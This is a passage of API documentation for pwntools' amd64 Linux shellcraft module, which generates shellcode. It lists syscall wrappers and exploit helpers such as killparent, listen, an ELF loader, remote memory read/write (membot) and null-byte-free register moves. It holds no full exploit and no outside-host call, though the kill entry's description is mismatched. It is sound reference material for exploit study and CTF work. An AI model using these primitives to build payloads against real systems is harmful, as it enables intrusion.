- **`sgid`** (*`gid_t`*) – sgid

`pwnlib.shellcraft.amd64.linux.`**`getresuid`**`(`*ruid*, *euid*, *suid*`)`

Invokes the syscall getresuid. See ‘man 2 getresuid’ for more information.

Parameters

- **`ruid`** (*`uid_t`*) – ruid
- **`euid`** (*`uid_t`*) – euid
- **`suid`** (*`uid_t`*) – suid

`pwnlib.shellcraft.amd64.linux.`**`getrlimit`**`(`*resource*, *rlimits*`)`

Invokes the syscall getrlimit. See ‘man 2 getrlimit’ for more information.

Parameters

- **resource** (*rlimit_resource_t*) – resource
- **rlimits** (*rlimit*) – rlimits

pwnlib.shellcraft.amd64.linux.**getrusage**(*who*, *usage*)

Invokes the syscall getrusage. See 'man 2 getrusage' for more information.

Parameters

- **who** (*rusage_who_t*) – who
- **usage** (*rusage*) – usage

pwnlib.shellcraft.amd64.linux.**getsid**(*pid*)

Invokes the syscall getsid. See 'man 2 getsid' for more information.

Parameters **pid** (*pid_t*) – pid

pwnlib.shellcraft.amd64.linux.**getsockname**(*fd*, *addr*, *length*)

Invokes the syscall getsockname. See 'man 2 getsockname' for more information.

Parameters

- **fd** (*int*) – fd
- **addr** (*SOCKADDR_ARG*) – addr
- **len** (*socklen_t*) – len

pwnlib.shellcraft.amd64.linux.**getsockopt**(*fd*, *level*, *optname*, *optval*, *optlen*)

Invokes the syscall getsockopt. See 'man 2 getsockopt' for more information.

Parameters

- **fd** (*int*) – fd
- **level** (*int*) – level
- **optname** (*int*) – optname
- **optval** (*void*) – optval
- **optlen** (*socklen_t*) – optlen

pwnlib.shellcraft.amd64.linux.**gettimeofday**(*tv*, *tz*)

Invokes the syscall gettimeofday. See 'man 2 gettimeofday' for more information.

Parameters

- **tv** (*timeval*) – tv
- **tz** (*timezone_ptr_t*) – tz

pwnlib.shellcraft.amd64.linux.**getuid**()

Invokes the syscall getuid. See 'man 2 getuid' for more information.

Arguments:

pwnlib.shellcraft.amd64.linux.**gtty**(*fd*, *params*)

Invokes the syscall gtty. See 'man 2 gtty' for more information.

Parameters

- **fd** (*int*) – fd
- **params** (*sgttyb*) – params

pwnlib.shellcraft.amd64.linux.**ioctl**(*fd*, *request*, *vararg*)

Invokes the syscall ioctl. See 'man 2 ioctl' for more information.

Parameters

- **fd** (*int*) – fd
- **request** (*unsigned*) – request
- **vararg** (*int*) – vararg

`pwnlib.shellcraft.amd64.linux.`**`ioperm`**(*from_*, *num*, *turn_on*)

Invokes the syscall ioperm. See 'man 2 ioperm' for more information.

Parameters

- **from** (*unsigned*) – from
- **num** (*unsigned*) – num
- **turn_on** (*int*) – turn_on

`pwnlib.shellcraft.amd64.linux.`**`iopl`**(*level*)

Invokes the syscall iopl. See 'man 2 iopl' for more information.

Parameters **level** (*int*) – level

`pwnlib.shellcraft.amd64.linux.`**`kill`**(*pid*, *signal='SIGKILL'*)

Writes a string to a file descriptor

`pwnlib.shellcraft.amd64.linux.`**`killparent`**()

Kills its parent process until whatever the parent is (probably init) cannot be killed any longer.

`pwnlib.shellcraft.amd64.linux.`**`lchown`**(*file*, *owner*, *group*)

Invokes the syscall lchown. See 'man 2 lchown' for more information.

Parameters

- **file** (*char*) – file
- **owner** (*uid_t*) – owner
- **group** (*gid_t*) – group

`pwnlib.shellcraft.amd64.linux.`**`link`**(*from_*, *to*)

Invokes the syscall link. See 'man 2 link' for more information.

Parameters

- **from** (*char*) – from
- **to** (*char*) – to

`pwnlib.shellcraft.amd64.linux.`**`linkat`**(*fromfd*, *from_*, *tofd*, *to*, *flags*)

Invokes the syscall linkat. See 'man 2 linkat' for more information.

Parameters

- **fromfd** (*int*) – fromfd
- **from** (*char*) – from
- **tofd** (*int*) – tofd
- **to** (*char*) – to
- **flags** (*int*) – flags

`pwnlib.shellcraft.amd64.linux.`**`listen`**(*port*, *network*)

Listens on a TCP port, accept a client and leave his socket in RAX. Port is the TCP port to listen on, network is either 'ipv4' or 'ipv6'.

pwnlib.shellcraft.amd64.linux.**loader**(*address*)

Loads a statically-linked ELF into memory and transfers control.

Parameters **address** (*int*) – Address of the ELF as a register or integer.

pwnlib.shellcraft.amd64.linux.**loader_append**(*data=None*)

Loads a statically-linked ELF into memory and transfers control.

Similar to loader.asm but loads an appended ELF.

Parameters **data** (*str*) – If a valid filename, the data is loaded from the named file. Otherwise, this is treated as raw ELF data to append. If None, it is ignored.

Example

```
>>> gcc = process(['gcc','-m64','-xc','-static','-Wl,-Ttext-segment=0x20000000','-'])
>>> gcc.write('''
... int main() {
...     printf("Hello, %s!\\n", "amd64");
... }
... ''')
>>> gcc.shutdown('send')
>>> gcc.poll(True)
0
>>> sc = shellcraft.loader_append('a.out')
```

The following doctest is commented out because it doesn’t work on Travis for reasons I cannot diagnose. However, it should work just fine :-)

# >>> run_assembly(sc).recvline() == ‘Hello, amd64!n’ # True

pwnlib.shellcraft.amd64.linux.**lseek**(*fd*, *offset*, *whence*)

Invokes the syscall lseek. See ‘man 2 lseek’ for more information.

Parameters

- **fd** (*int*) – fd
- **offset** (*off_t*) – offset
- **whence** (*int*) – whence

pwnlib.shellcraft.amd64.linux.**lstat**(*file*, *buf*)

Invokes the syscall lstat. See ‘man 2 lstat’ for more information.

Parameters

- **file** (*char*) – file
- **buf** (*stat*) – buf

pwnlib.shellcraft.amd64.linux.**lstat64**(*file*, *buf*)

Invokes the syscall lstat64. See ‘man 2 lstat64’ for more information.

Parameters

- **file** (*char*) – file
- **buf** (*stat64*) – buf

pwnlib.shellcraft.amd64.linux.**madvise**(*addr*, *length*, *advice*)

Invokes the syscall madvise. See ‘man 2 madvise’ for more information.

Parameters

- **addr** (*void*) – addr
- **len** (*size_t*) – len
- **advice** (*int*) – advice

pwnlib.shellcraft.amd64.linux.**membot**(*readsock=0*, *writesock=1*)
Read-write access to a remote process' memory.

Provide a single pointer-width value to determine the operation to perform:

- 0: Exit the loop
- 1: Read data
- 2: Write data

pwnlib.shellcraft.amd64.linux.**migrate_stack**(*size=1048576*, *fd=0*)
Migrates to a new stack.

pwnlib.shellcraft.amd64.linux.**mincore**(*start*, *length*, *vec*)
Invokes the syscall mincore. See 'man 2 mincore' for more information.

Parameters

- **start** (*void*) – start
- **len** (*size_t*) – len
- **vec** (*unsigned*) – vec

pwnlib.shellcraft.amd64.linux.**mkdir**(*path*, *mode*)
Invokes the syscall mkdir. See 'man 2 mkdir' for more information.

Parameters

- **path** (*char*) – path
- **mode** (*mode_t*) – mode

pwnlib.shellcraft.amd64.linux.**mkdirat**(*fd*, *path*, *mode*)
Invokes the syscall mkdirat. See 'man 2 mkdirat' for more information.

Parameters

- **fd** (*int*) – fd
- **path** (*char*) – path
- **mode** (*mode_t*) – mode

pwnlib.shellcraft.amd64.linux.**mknod**(*path*, *mode*, *dev*)
Invokes the syscall mknod. See 'man 2 mknod' for more information.

Parameters

- **path** (*char*) – path
- **mode** (*mode_t*) – mode
- **dev** (*dev_t*) – dev

pwnlib.shellcraft.amd64.linux.**mknodat**(*fd*, *path*, *mode*, *dev*)
Invokes the syscall mknodat. See 'man 2 mknodat' for more information.

Parameters

- **fd** (*int*) – fd

- **path** (*char*) – path
- **mode** (*mode_t*) – mode
- **dev** (*dev_t*) – dev

pwnlib.shellcraft.amd64.linux.**mlock**(*addr*, *length*)

Invokes the syscall mlock. See 'man 2 mlock' for more information.

Parameters

- **addr** (*void*) – addr
- **len** (*size_t*) – len

pwnlib.shellcraft.amd64.linux.**mlockall**(*flags*)

Invokes the syscall mlockall. See 'man 2 mlockall' for more information.

Parameters **flags** (*int*) – flags

pwnlib.shellcraft.amd64.linux.**mmap**(*addr=0*, *length=4096*, *prot=7*, *flags=34*, *fd=-1*, *offset=0*)

Invokes the syscall mmap. See 'man 2 mmap' for more information.

Parameters

- **addr** (*void*) – addr
- **length** (*size_t*) – length
- **prot** (*int*) – prot
- **flags** (*int*) – flags
- **fd** (*int*) – fd
- **offset** (*off_t*) – offset

pwnlib.shellcraft.amd64.linux.**mmap_rwx**(*size=4096*, *protection=7*, *address=None*)

Maps some memory

pwnlib.shellcraft.amd64.linux.**mov**(*dest*, *src*, *stack_allowed=True*)

Move src into dest without newlines and null bytes.

If the src is a register smaller than the dest, then it will be zero-extended to fit inside the larger register.

If the src is a register larger than the dest, then only some of the bits will be used.

If src is a string that is not a register, then it will locally set *context.arch* to *'amd64'* and use pwnlib.constants.eval() to evaluate the string. Note that this means that this shellcode can change behavior depending on the value of *context.os*.

Example

```
>>> print shellcraft.amd64.mov('eax','ebx').rstrip()
    mov eax, ebx
>>> print shellcraft.amd64.mov('eax', 0).rstrip()
    xor eax, eax /* 0 */
>>> print shellcraft.amd64.mov('ax', 0).rstrip()
    xor ax, ax /* 0 */
>>> print shellcraft.amd64.mov('rax', 0).rstrip()
    xor eax, eax /* 0 */
>>> print shellcraft.amd64.mov('rdi', 'ax').rstrip()
    movzx edi, ax
>>> print shellcraft.amd64.mov('al', 'ax').rstrip()
```

```
    /* moving ax into al, but this is a no-op */
>>> print shellcraft.amd64.mov('ax', 'bl').rstrip()
    movzx ax, bl
>>> print shellcraft.amd64.mov('eax', 1).rstrip()
    push 1
    pop rax
>>> print shellcraft.amd64.mov('rax', 0xc0).rstrip()
    xor eax, eax
    mov al, 0xc0
>>> print shellcraft.amd64.mov('rax', 0xc000).rstrip()
    xor eax, eax
    mov ah, 0xc000 >> 8
>>> print shellcraft.amd64.mov('rax', 0xc0c0).rstrip()
    xor eax, eax
    mov ax, 0xc0c0
>>> print shellcraft.amd64.mov('rdi', 0xff).rstrip()
    mov edi, 0x1010101 /* 255 == 0xff */
    xor edi, 0x10101fe
>>> print shellcraft.amd64.mov('rax', 0xdead00ff).rstrip()
    mov eax, 0x1010101 /* 3735879935 == 0xdead00ff */
    xor eax, 0xdfac01fe
>>> print shellcraft.amd64.mov('rax', 0x11dead00ff).rstrip()
    mov rax, 0x101010101010101 /* 76750323967 == 0x11dead00ff */
    push rax
    mov rax, 0x1010110dfac01fe
    xor [rsp], rax
    pop rax
```

```
>>> with context.local(os = 'linux'):
...     print shellcraft.amd64.mov('eax', 'SYS_read').rstrip()
    xor eax, eax /* (SYS_read) */
>>> with context.local(os = 'freebsd'):
...     print shellcraft.amd64.mov('eax', 'SYS_read').rstrip()
    push (SYS_read) /* 3 */
    pop rax
>>> with context.local(os = 'linux'):
...     print shellcraft.amd64.mov('eax', 'PROT_READ | PROT_WRITE | PROT_EXEC').rstrip()
    push (PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
    pop rax
```

Parameters

- **dest** (*str*) – The destination register.
- **src** (*str*) – Either the input register, or an immediate value.
- **stack_allowed** (*bool*) – Can the stack be used?

pwnlib.shellcraft.amd64.linux.**mprotect**(*addr*, *length*, *prot*)

Invokes the syscall mprotect. See 'man 2 mprotect' for more information.

Parameters

- **addr** (*void*) – addr
- **length** (*size_t*) – length
- **prot** (*int*) – prot

`pwnlib.shellcraft.amd64.linux.`**`mq_notify`**(*mqdes*, *notification*)

Invokes the syscall mq_notify. See 'man 2 mq_notify' for more information.

Parameters

- **mqdes** (*mqd_t*) – mqdes
- **notification** (*sigevent*) – notification

`pwnlib.shellcraft.amd64.linux.`**`mq_open`**(*name*, *oflag*, *vararg*)

Invokes the syscall mq_open. See 'man 2 mq_open' for more information.

Parameters

- **name** (*char*) – name
- **oflag** (*int*) – oflag
- **vararg** (*int*) – vararg

`pwnlib.shellcraft.amd64.linux.`**`mq_timedreceive`**(*mqdes*, *msg_ptr*, *msg_len*, *msg_prio*, *abs_timeout*)

Invokes the syscall mq_timedreceive. See 'man 2 mq_timedreceive' for more information.

Parameters

- **mqdes** (*mqd_t*) – mqdes
- **msg_ptr** (*char*) – msg_ptr
- **msg_len** (*size_t*) – msg_len
- **msg_prio** (*unsigned*) – msg_prio
- **abs_timeout** (*timespec*) – abs_timeout

`pwnlib.shellcraft.amd64.linux.`**`mq_timedsend`**(*mqdes*, *msg_ptr*, *msg_len*, *msg_prio*, *abs_timeout*)

Invokes the syscall mq_timedsend. See 'man 2 mq_timedsend' for more information.

Parameters

- **mqdes** (*mqd_t*) – mqdes
- **msg_ptr** (*char*) – msg_ptr
- **msg_len** (*size_t*) – msg_len
- **msg_prio** (*unsigned*) – msg_prio
- **abs_timeout** (*timespec*) – abs_timeout

`pwnlib.shellcraft.amd64.linux.`**`mq_unlink`**(*name*)

Invokes the syscall mq_unlink. See 'man 2 mq_unlink' for more information.

Parameters **name** (*char*) – name

`pwnlib.shellcraft.amd64.linux.`**`mremap`**(*addr*, *old_len*, *new_len*, *flags*, *vararg*)

Invokes the syscall mremap. See 'man 2 mremap' for more information.

Parameters

- **addr** (*void*) – addr
- **old_len** (*size_t*) – old_len
- **new_len** (*size_t*) – new_len
- **flags** (*int*) – flags

- **vararg** (*int*) – vararg

`pwnlib.shellcraft.amd64.linux.`**msync**(*addr*, *length*, *flags*)

Invokes the syscall msync. See 'man 2 msync' for more information.

Parameters

- **addr** (*void*) – addr
- **len** (*size_t*) – len
- **flags** (*int*) – flags

`pwnlib.shellcraft.amd64.linux.`**munlock**(*addr*, *length*)

Invokes the syscall munlock. See 'man 2 munlock' for more information.

Parameters

- **addr** (*void*) – addr
- **len** (*size_t*) – len

`pwnlib.shellcraft.amd64.linux.`**munlockall**()

Invokes the syscall munlockall. See 'man 2 munlockall' for more information.

Arguments:

`pwnlib.shellcraft.amd64.linux.`**munmap**(*addr*, *length*)

Invokes the syscall munmap. See 'man 2 munmap' for more information.

Parameters

- **addr** (*void*) – addr
- **len** (*size_t*) – len

`pwnlib.shellcraft.amd64.linux.`**nanosleep**(*requested_time*, *remaining*)

Invokes the syscall nanosleep. See 'man 2 nanosleep' for more information.

Parameters

- **requested_time** (*timespec*) – requested_time
- **remaining** (*timespec*) – remaining

`pwnlib.shellcraft.amd64.linux.`**nice**(*inc*)

Invokes the syscall nice. See 'man 2 nice' for more information.

Parameters **inc** (*int*) – inc

`pwnlib.shellcraft.amd64.linux.`**open**(*file*, *oflag*, *vararg*)

Invokes the syscall open. See 'man 2 open' for more information.

Parameters

- **file** (*char*) – file
- **oflag** (*int*) – oflag
- **vararg** (*int*) – vararg

`pwnlib.shellcraft.amd64.linux.`**openat**(*fd*, *file*, *oflag*, *vararg*)

Invokes the syscall openat. See 'man 2 openat' for more information.

Parameters

- **fd** (*int*) – fd
- **file** (*char*) – file

- **oflag** (*int*) – oflag
- **vararg** (*int*) – vararg

pwnlib.shellcraft.amd64.linux.**pause**()

Invokes the syscall pause. See 'man 2 pause' for more information.

Arguments:

pwnlib.shellcraft.amd64.linux.**pipe**(*pipedes*)

Invokes the syscall pipe. See 'man 2 pipe' for more information.

Parameters **pipedes** (*int*) – pipedes

pwnlib.shellcraft.amd64.linux.**pipe2**(*pipedes*, *flags*)

Invokes the syscall pipe2. See 'man 2 pipe2' for more information.

Parameters

- **pipedes** (*int*) – pipedes
- **flags** (*int*) – flags

pwnlib.shellcraft.amd64.linux.**poll**(*fds*, *nfds*, *timeout*)

Invokes the syscall poll. See 'man 2 poll' for more information.

Parameters

- **fds** (*pollfd*) – fds
- **nfds** (*nfds_t*) – nfds
- **timeout** (*int*) – timeout

pwnlib.shellcraft.amd64.linux.**ppoll**(*fds*, *nfds*, *timeout*, *ss*)

Invokes the syscall ppoll. See 'man 2 ppoll' for more information.

Parameters

- **fds** (*pollfd*) – fds
- **nfds** (*nfds_t*) – nfds
- **timeout** (*timespec*) – timeout
- **ss** (*sigset_t*) – ss

pwnlib.shellcraft.amd64.linux.**prctl**(*option*, **vararg*)

Invokes the syscall prctl. See 'man 2 prctl' for more information.

Parameters

- **option** (*int*) – option
- **vararg** (*int*) – vararg

pwnlib.shellcraft.amd64.linux.**pread**(*fd*, *buf*, *nbytes*, *offset*)

Invokes the syscall pread. See 'man 2 pread' for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **nbytes** (*size_t*) – nbytes
- **offset** (*off_t*) – offset

pwnlib.shellcraft.amd64.linux.**preadv**(*fd*, *iovec*, *count*, *offset*)
Invokes the syscall preadv. See 'man 2 preadv' for more information.

Parameters

- **fd** (*int*) – fd
- **iovec** (*iovec*) – iovec
- **count** (*int*) – count
- **offset** (*off_t*) – offset

pwnlib.shellcraft.amd64.linux.**prlimit64**(*pid*, *resource*, *new_limit*, *old_limit*)
Invokes the syscall prlimit64. See 'man 2 prlimit64' for more information.

Parameters

- **pid** (*pid_t*) – pid
- **resource** (*rlimit_resource*) – resource
- **new_limit** (*rlimit64*) – new_limit
- **old_limit** (*rlimit64*) – old_limit

pwnlib.shellcraft.amd64.linux.**profil**(*sample_buffer*, *size*, *offset*, *scale*)
Invokes the syscall profil. See 'man 2 profil' for more information.

Parameters

- **sample_buffer** (*unsigned*) – sample_buffer
- **size** (*size_t*) – size
- **offset** (*size_t*) – offset
- **scale** (*unsigned*) – scale

pwnlib.shellcraft.amd64.linux.**ptrace**(*request*, **vararg*)
Invokes the syscall ptrace. See 'man 2 ptrace' for more information.

Parameters

- **request** (*ptrace_request*) – request
- **vararg** (*int*) – vararg

pwnlib.shellcraft.amd64.linux.**push**(*value*)
Pushes a value onto the stack without using null bytes or newline characters.

If src is a string, then we try to evaluate with *context.arch = 'amd64'* using pwnlib.constants.eval() before determining how to push it. Note that this means that this shellcode can change behavior depending on the value of *context.os*.

Parameters **value** (*int, str*) – The value or register to push

Example

```
>>> print pwnlib.shellcraft.amd64.push(0).rstrip()
    /* push 0 */
    push 1
    dec byte ptr [rsp]
>>> print pwnlib.shellcraft.amd64.push(1).rstrip()
    /* push 1 */
    push 1
>>> print pwnlib.shellcraft.amd64.push(256).rstrip()
    /* push 256 */
    push 0x1010201 ^ 0x100
    xor dword ptr [rsp], 0x1010201
>>> with context.local(os = 'linux'):
...     print pwnlib.shellcraft.amd64.push('SYS_write').rstrip()
    /* push 'SYS_write' */
    push 1
>>> with context.local(os = 'freebsd'):
...     print pwnlib.shellcraft.amd64.push('SYS_write').rstrip()
    /* push 'SYS_write' */
    push 4
```

`pwnlib.shellcraft.amd64.linux.`**`putpmsg`**(*fildes*, *ctlptr*, *dataptr*, *band*, *flags*)

Invokes the syscall putpmsg. See 'man 2 putpmsg' for more information.

Parameters

- **fildes** (*int*) – fildes
- **ctlptr** (*strbuf*) – ctlptr
- **dataptr** (*strbuf*) – dataptr
- **band** (*int*) – band
- **flags** (*int*) – flags

`pwnlib.shellcraft.amd64.linux.`**`pwrite`**(*fd*, *buf*, *n*, *offset*)

Invokes the syscall pwrite. See 'man 2 pwrite' for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **n** (*size_t*) – n
- **offset** (*off_t*) – offset

`pwnlib.shellcraft.amd64.linux.`**`pwritev`**(*fd*, *iovec*, *count*, *offset*)

Invokes the syscall pwritev. See 'man 2 pwritev' for more information.

Parameters

- **fd** (*int*) – fd
- **iovec** (*iovec*) – iovec
- **count** (*int*) – count
- **offset** (*off_t*) – offset

`pwnlib.shellcraft.amd64.linux.`**`read`**(*fd=0*, *buffer='rsp'*, *count=8*)

Reads data from the file descriptor into the provided buffer. This is a one-shot and does not fill the request.

`pwnlib.shellcraft.amd64.linux.`**`read_upto`**(*fd=0*, *buffer='rsp'*, *sizereg='rdx'*)

Reads up to N bytes 8 bytes into the specified register

`pwnlib.shellcraft.amd64.linux.`**`readahead`**(*fd*, *offset*, *count*)

Invokes the syscall readahead. See 'man 2 readahead' for more information.

Parameters

- **fd** (*int*) – fd
- **offset** (*off64_t*) – offset
- **count** (*size_t*) – count

pwnlib.shellcraft.amd64.linux.**readdir**(*dirp*)
Invokes the syscall readdir. See 'man 2 readdir' for more information.

Parameters **dirp** (*DIR*) – dirp

pwnlib.shellcraft.amd64.linux.**readfile**(*path*, *dst='rdi'*)
Args: [path, dst (imm/reg) = rdi] Opens the specified file path and sends its content to the specified file descriptor.

pwnlib.shellcraft.amd64.linux.**readinto**(*sock=0*)
Reads into a buffer of a size and location determined at runtime. When the shellcode is executing, it should send a pointer and pointer-width size to determine the location and size of buffer.

pwnlib.shellcraft.amd64.linux.**readlink**(*path*, *buf*, *length*)
Invokes the syscall readlink. See 'man 2 readlink' for more information.

Parameters

- **path** (*char*) – path
- **buf** (*char*) – buf
- **len** (*size_t*) – len

pwnlib.shellcraft.amd64.linux.**readlinkat**(*fd*, *path*, *buf*, *length*)
Invokes the syscall readlinkat. See 'man 2 readlinkat' for more information.

Parameters

- **fd** (*int*) – fd
- **path** (*char*) – path
- **buf** (*char*) – buf
- **len** (*size_t*) – len

pwnlib.shellcraft.amd64.linux.**readloop**(*sock=0*)
Reads into a buffer of a size and location determined at runtime. When the shellcode is executing, it should send a pointer and pointer-width size to determine the location and size of buffer.

pwnlib.shellcraft.amd64.linux.**readn**(*fd*, *buf*, *nbytes*)
Reads exactly nbytes bytes from file descriptor fd into the buffer buf.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **nbytes** (*size_t*) – nbytes

pwnlib.shellcraft.amd64.linux.**readptr**(*fd=0*, *target_reg='rdx'*)
Reads 8 bytes into the specified register

pwnlib.shellcraft.amd64.linux.**readv**(*fd*, *iovec*, *count*)
Invokes the syscall readv. See 'man 2 readv' for more information.

Parameters

- **fd** (*int*) – fd

- **iovec** (*iovec*) – iovec
- **count** (*int*) – count

pwnlib.shellcraft.amd64.linux.**recv**(*fd*, *buf*, *n*, *flags*)

Invokes the syscall recv. See 'man 2 recv' for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **n** (*size_t*) – n
- **flags** (*int*) – flags

pwnlib.shellcraft.amd64.linux.**recvfrom**(*fd*, *buf*, *n*, *flags*, *addr*, *addr_len*)

Invokes the syscall recvfrom. See 'man 2 recvfrom' for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **n** (*size_t*) – n
- **flags** (*int*) – flags
- **addr** (*SOCKADDR_ARG*) – addr
- **addr_len** (*socklen_t*) – addr_len

pwnlib.shellcraft.amd64.linux.**recvmmsg**(*fd*, *vmessages*, *vlen*, *flags*, *tmo*)

Invokes the syscall recvmmsg. See 'man 2 recvmmsg' for more information.

Parameters

- **fd** (*int*) – fd
- **vmessages** (*mmsghdr*) – vmessages
- **vlen** (*unsigned*) – vlen
- **flags** (*int*) – flags
- **tmo** (*timespec*) – tmo

pwnlib.shellcraft.amd64.linux.**recvmsg**(*fd*, *message*, *flags*)

Invokes the syscall recvmsg. See 'man 2 recvmsg' for more information.

Parameters

- **fd** (*int*) – fd
- **message** (*msghdr*) – message
- **flags** (*int*) – flags

pwnlib.shellcraft.amd64.linux.**recvsize**(*sock*, *reg='rcx'*)

Recives 4 bytes size field Useful in conjuncion with findpeer and stager :param sock, the socket to read the payload from.: :param reg, the place to put the size: :type reg, the place to put the size: default ecx

Leaves socket in ebx

pwnlib.shellcraft.amd64.linux.**remap_file_pages**(*start*, *size*, *prot*, *pgoff*, *flags*)

Invokes the syscall remap_file_pages. See 'man 2 remap_file_pages' for more information.

Parameters

- **start** (*void*) – start
- **size** (*size_t*) – size
- **prot** (*int*) – prot
- **pgoff** (*size_t*) – pgoff
- **flags** (*int*) – flags

pwnlib.shellcraft.amd64.linux.**rename**(*old*, *new*)

Invokes the syscall rename. See 'man 2 rename' for more information.

Parameters

- **old** (*char*) – old
- **new** (*char*) – new

pwnlib.shellcraft.amd64.linux.**renameat**(*oldfd*, *old*, *newfd*, *new*)

Invokes the syscall renameat. See 'man 2 renameat' for more information.

Parameters

- **oldfd** (*int*) – oldfd
- **old** (*char*) – old
- **newfd** (*int*) – newfd
- **new** (*char*) – new

pwnlib.shellcraft.amd64.linux.**rmdir**(*path*)

Invokes the syscall rmdir. See 'man 2 rmdir' for more information.

Parameters **path** (*char*) – path

pwnlib.shellcraft.amd64.linux.**sched_get_priority_max**(*algorithm*)

Invokes the syscall sched_get_priority_max. See 'man 2 sched_get_priority_max' for more information.

Parameters **algorithm** (*int*) – algorithm

pwnlib.shellcraft.amd64.linux.**sched_get_priority_min**(*algorithm*)

Invokes the syscall sched_get_priority_min. See 'man 2 sched_get_priority_min' for more information.

Parameters **algorithm** (*int*) – algorithm

pwnlib.shellcraft.amd64.linux.**sched_getaffinity**(*pid*, *cpusetsize*, *cpuset*)

Invokes the syscall sched_getaffinity. See 'man 2 sched_getaffinity' for more information.

Parameters

- **pid** (*pid_t*) – pid
- **cpusetsize** (*size_t*) – cpusetsize
- **cpuset** (*cpu_set_t*) – cpuset

pwnlib.shellcraft.amd64.linux.**sched_getparam**(*pid*, *param*)

Invokes the syscall sched_getparam. See 'man 2 sched_getparam' for more information.

Parameters

- **pid** (*pid_t*) – pid
- **param** (*sched_param*) – param

pwnlib.shellcraft.amd64.linux.**sched_getscheduler**(*pid*)

Invokes the syscall sched_getscheduler. See 'man 2 sched_getscheduler' for more information.

Parameters **pid** (*pid_t*) – pid

pwnlib.shellcraft.amd64.linux.**sched_rr_get_interval**(*pid*, *t*)

Invokes the syscall sched_rr_get_interval. See 'man 2 sched_rr_get_interval' for more information.

Parameters

- **pid** (*pid_t*) – pid
- **t** (*timespec*) – t

pwnlib.shellcraft.amd64.linux.**sched_setaffinity**(*pid*, *cpusetsize*, *cpuset*)

Invokes the syscall sched_setaffinity. See 'man 2 sched_setaffinity' for more information.

Parameters

- **pid** (*pid_t*) – pid
- **cpusetsize** (*size_t*) – cpusetsize
- **cpuset** (*cpu_set_t*) – cpuset

pwnlib.shellcraft.amd64.linux.**sched_setparam**(*pid*, *param*)

Invokes the syscall sched_setparam. See 'man 2 sched_setparam' for more information.

Parameters

- **pid** (*pid_t*) – pid
- **param** (*sched_param*) – param

pwnlib.shellcraft.amd64.linux.**sched_setscheduler**(*pid*, *policy*, *param*)

Invokes the syscall sched_setscheduler. See 'man 2 sched_setscheduler' for more information.

Parameters

- **pid** (*pid_t*) – pid
- **policy** (*int*) – policy
- **param** (*sched_param*) – param

pwnlib.shellcraft.amd64.linux.**sched_yield**()

Invokes the syscall sched_yield. See 'man 2 sched_yield' for more information.

Arguments:

pwnlib.shellcraft.amd64.linux.**select**(*nfds*, *readfds*, *writefds*, *exceptfds*, *timeout*)

Invokes the syscall select. See 'man 2 select' for more information.

Parameters

- **nfds** (*int*) – nfds
- **readfds** (*fd_set*) – readfds
- **writefds** (*fd_set*) – writefds
- **exceptfds** (*fd_set*) – exceptfds
- **timeout** (*timeval*) – timeout

pwnlib.shellcraft.amd64.linux.**sendfile**(*out_fd*, *in_fd*, *offset*, *count*)

Invokes the syscall sendfile. See 'man 2 sendfile' for more information.

Parameters

- **out_fd** (*int*) – out_fd
- **in_fd** (*int*) – in_fd
- **offset** (*off_t*) – offset
- **count** (*size_t*) – count

pwnlib.shellcraft.amd64.linux.**sendfile64**(*out_fd*, *in_fd*, *offset*, *count*)

Invokes the syscall sendfile64. See 'man 2 sendfile64' for more information.

Parameters

- **out_fd** (*int*) – out_fd
- **in_fd** (*int*) – in_fd
- **offset** (*off64_t*) – offset
- **count** (*size_t*) – count

pwnlib.shellcraft.amd64.linux.**setdomainname**(*name*, *length*)

Invokes the syscall setdomainname. See 'man 2 setdomainname' for more information.

Parameters

- **name** (*char*) – name
- **len** (*size_t*) – len

pwnlib.shellcraft.amd64.linux.**setgid**(*gid*)

Invokes the syscall setgid. See 'man 2 setgid' for more information.

Parameters **gid** (*gid_t*) – gid

pwnlib.shellcraft.amd64.linux.**setgroups**(*n*, *groups*)

Invokes the syscall setgroups. See 'man 2 setgroups' for more information.

Parameters

- **n** (*size_t*) – n
- **groups** (*gid_t*) – groups

pwnlib.shellcraft.amd64.linux.**sethostname**(*name*, *length*)

Invokes the syscall sethostname. See 'man 2 sethostname' for more information.

Parameters

- **name** (*char*) – name
- **len** (*size_t*) – len

pwnlib.shellcraft.amd64.linux.**setitimer**(*which*, *new*, *old*)

Invokes the syscall setitimer. See 'man 2 setitimer' for more information.

Parameters

- **which** (*itimer_which_t*) – which
- **new** (*itimerval*) – new
- **old** (*itimerval*) – old

pwnlib.shellcraft.amd64.linux.**setpgid**(*pid*, *pgid*)

Invokes the syscall setpgid. See 'man 2 setpgid' for more information.

Parameters

- **pid** (*pid_t*) – pid
- **pgid** (*pid_t*) – pgid

pwnlib.shellcraft.amd64.linux.**setpriority**(*which*, *who*, *prio*)
Invokes the syscall setpriority. See 'man 2 setpriority' for more information.

Parameters

- **which** (*priority_which_t*) – which
- **who** (*id_t*) – who
- **prio** (*int*) – prio

pwnlib.shellcraft.amd64.linux.**setregid**(*gid='egid'*)
Args: [gid (imm/reg) = egid] Sets the real and effective group id.

pwnlib.shellcraft.amd64.linux.**setresgid**(*rgid*, *egid*, *sgid*)
Invokes the syscall setresgid. See 'man 2 setresgid' for more information.

Parameters

- **rgid** (*gid_t*) – rgid
- **egid** (*gid_t*) – egid
- **sgid** (*gid_t*) – sgid

pwnlib.shellcraft.amd64.linux.**setresuid**(*ruid*, *euid*, *suid*)
Invokes the syscall setresuid. See 'man 2 setresuid' for more information.

Parameters

- **ruid** (*uid_t*) – ruid
- **euid** (*uid_t*) – euid
- **suid** (*uid_t*) – suid

pwnlib.shellcraft.amd64.linux.**setreuid**(*uid='euid'*)
Args: [uid (imm/reg) = euid] Sets the real and effective user id.

pwnlib.shellcraft.amd64.linux.**setrlimit**(*resource*, *rlimits*)
Invokes the syscall setrlimit. See 'man 2 setrlimit' for more information.

Parameters

- **resource** (*rlimit_resource_t*) – resource
- **rlimits** (*rlimit*) – rlimits

pwnlib.shellcraft.amd64.linux.**setsid**()
Invokes the syscall setsid. See 'man 2 setsid' for more information.

Arguments:

pwnlib.shellcraft.amd64.linux.**setsockopt**(*sockfd*, *level*, *optname*, *optval*, *optlen*)
Invokes the syscall setsockopt. See 'man 2 setsockopt' for more information.

Parameters

